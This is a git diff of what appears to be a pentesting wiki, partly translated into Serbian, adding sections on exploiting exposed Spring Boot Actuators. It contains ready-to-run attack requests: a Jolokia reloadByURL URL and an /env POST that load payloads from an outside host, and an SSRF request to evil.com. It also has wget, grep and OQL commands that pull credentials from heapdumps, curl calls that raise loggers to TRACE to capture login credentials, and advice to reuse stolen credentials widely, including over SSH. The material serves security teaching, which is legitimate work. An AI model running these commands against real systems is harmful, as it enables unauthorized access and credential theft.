android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Više pomoći +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1444,7 +1458,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Reference +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1463,6 +1477,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 05f74b774..587d5cf19 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -1,4 +1,4 @@ -# Spring Actuators +# Spring Actuatori {{#include ../../banners/hacktricks-training.md}} @@ -6,30 +6,30 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Iz** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Exploiting Spring Boot Actuators +## Eksploatacija Spring Boot Actuatora -**Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Pogledajte originalni post na** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Key Points:** +### **Ključne tačke:** -- Spring Boot Actuators registruju krajnje tačke kao što su `/health`, `/trace`, `/beans`, `/env`, itd. U verzijama od 1 do 1.4, ove krajnje tačke su dostupne bez autentifikacije. Od verzije 1.5 nadalje, samo su `/health` i `/info` po defaultu neosetljive, ali programeri često onemogućavaju ovu sigurnost. -- Određene Actuator krajnje tačke mogu izložiti osetljive podatke ili omogućiti štetne radnje: +- Spring Boot Actuatori registruju endpoint-e kao što su `/health`, `/trace`, `/beans`, `/env`, itd. U verzijama 1 do 1.4, ovi endpoint-i su dostupni bez autentifikacije. Od verzije 1.5 nadalje, podrazumevano su neosetljivi samo `/health` i `/info`, ali developeri često onemoguće ovu zaštitu. +- Određeni Actuator endpoint-i mogu izložiti osetljive podatke ili omogućiti štetne radnje: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`. -- U Spring Boot 1.x, aktuatore registruju pod korenskim URL-om, dok su u 2.x pod osnovnom putanjom `/actuator/`. +- U Spring Boot 1.x, actuatori su registrovani na root URL-u, dok su u 2.x pod `/actuator/` baznom putanjom. -### **Exploitation Techniques:** +### **Tehnike iskorišćavanja:** 1. **Remote Code Execution via '/jolokia'**: -- Krajnja tačka `/jolokia` izlaže Jolokia biblioteku, koja omogućava HTTP pristup MBeans. -- Akcija `reloadByURL` može se iskoristiti za ponovo učitavanje konfiguracija logovanja sa spoljnog URL-a, što može dovesti do slepog XXE ili daljinskog izvršavanja koda putem kreiranih XML konfiguracija. -- Primer URL-a za eksploataciju: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +- Endpoint `/jolokia` izlaže Jolokia Library, koja omogućava HTTP pristup MBeans. +- Akcija `reloadByURL` može se iskoristiti za ponovo učitavanje logging konfiguracija sa spoljnog URL-a, što može dovesti do blind XXE ili Remote Code Execution putem posebno crafted XML konfiguracija. +- Primer exploit URL-a: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: -- Ako su prisutne Spring Cloud biblioteke, krajnja tačka `/env` omogućava modifikaciju svojstava okruženja. -- Svojstva se mogu manipulisati za eksploataciju ranjivosti, kao što je ranjivost deserializacije XStream u Eureka serviceURL. -- Primer POST zahteva za eksploataciju: +- Ako su prisutne Spring Cloud Libraries, endpoint `/env` omogućava izmenu env properties. +- Properties se mogu manipulisati da bi se iskoristile ranjivosti, kao što je XStream deserialization ranjivost u Eureka serviceURL. +- Primer exploit POST zahteva: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Other Useful Settings**: -- Svojstva kao što su `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogu se manipulisati za razne eksploatacije, kao što su SQL injekcije ili menjanje stringova za povezivanje sa bazom podataka. +3. **Ostala korisna podešavanja:** +- Properties kao `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogu se manipulisati za razne iskorišćavanja, kao što su SQL injection ili menjanje konekcijskih stringova baze podataka. -### **Additional Information:** +### **Dodatne informacije:** -- Sveobuhvatna lista podrazumevanih aktuatore može se naći [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Krajnja tačka `/env` u Spring Boot 2.x koristi JSON format za modifikaciju svojstava, ali opšti koncept ostaje isti. +- Kompletna lista podrazumevanih actuatora može se naći [ovde](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Endpoint `/env` u Spring Boot 2.x koristi JSON format za izmenu properties, ali opšti koncept ostaje isti. -### **Related Topics:** +### **Povezane teme:** 1. **Env + H2 RCE**: -- Detalji o eksploataciji kombinacije krajnje tačke `/env` i H2 baze podataka mogu se naći [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Detalji o iskorišćavanju kombinacije `/env` endpoint-a i H2 baze mogu se naći [ovde](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: -- Rukovanje matricnim parametrima (`;`) u HTTP putanjama od strane Spring framework-a može se iskoristiti za Server-Side Request Forgery (SSRF). -- Primer zahteva za eksploataciju: +- Rukovanje Spring framework-a matrix parametrima (`;`) u HTTP pathname-ovima može se iskoristiti za Server-Side Request Forgery (SSRF). +- Primer exploit zahteva: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump - izvlačenje tajni (credentials, tokens, internal URLs) + +Ako je `/actuator/heapdump` izložen, obično možete preuzeti kompletan JVM heap snapshot koji često sadrži žive tajne (DB creds, API keys, Basic-Auth, interne service URL-ove, Spring property mape, itd.). + +- Preuzimanje i brza trijaža: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Detaljnija analiza sa VisualVM i OQL: +- Otvorite heapdump u VisualVM-u, pregledajte instance `java.lang.String` ili pokrenite OQL da biste tražili tajne: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Automatizovano izvlačenje sa JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Tipični nalazi visoke vrednosti: +- Spring `DataSourceProperties` / `HikariDataSource` objekti koji izlažu `url`, `username`, `password`. +- `OriginTrackedMapPropertySource` unosi koji otkrivaju `management.endpoints.web.exposure.include`, portove servisa i ugrađeni Basic-Auth u URL-ovima (npr. Eureka `defaultZone`). +- Obični HTTP request/response fragmenti uključujući `Authorization: Basic ...` snimljeni u memoriji. + +Saveti: +- Koristite Spring-fokusiranu wordlistu da brzo otkrijete actuator endpoint-e (npr. SecLists spring-boot.txt) i uvek proverite da li su `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` i `/actuator/configprops` takođe izloženi. +- Kredencijali iz heapdump-a često rade za susedne servise, a ponekad i za sistemske korisnike (SSH), pa ih probajte široko. + + +## Abusing Actuator loggers/logging to capture credentials + +Ako `management.endpoints.web.exposure.include` to dozvoljava i `/actuator/loggers` je izložen, možete dinamički povećati nivoe logovanja na DEBUG/TRACE za pakete koji obrađuju autentifikaciju i obradu zahteva. U kombinaciji sa čitljivim logovima (preko `/actuator/logfile` ili poznatih putanja za logove), ovo može leak-ovati kredencijale poslate tokom login tokova (npr. Basic-Auth zaglavlja ili form parametri). + +- Izdenumerišite i pojačajte osetljive loggere: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Pronađite gde se logovi zapisuju i sakupljajte ih: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Pokrenite login/autentikacioni saobraćaj i parsirajte log za kredencijale. U microservice okruženjima gde gateway stoji ispred auth-a, uključenje TRACE za gateway/security pakete često čini vidljivim zaglavlja i telo formi. Neka okruženja čak periodično generišu sintetički login saobraćaj, što čini sakupljanje trivijalnim kada je logovanje verbose. + +Napomene: +- Vratite nivoe logovanja kada završite: `POST /actuator/loggers/` sa `{ "configuredLevel": null }`. +- Ako je `/actuator/httpexchanges` izložen, on takođe može izneti nedavnu metadata zahteva koja mogu uključivati osetljiva zaglavlja. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}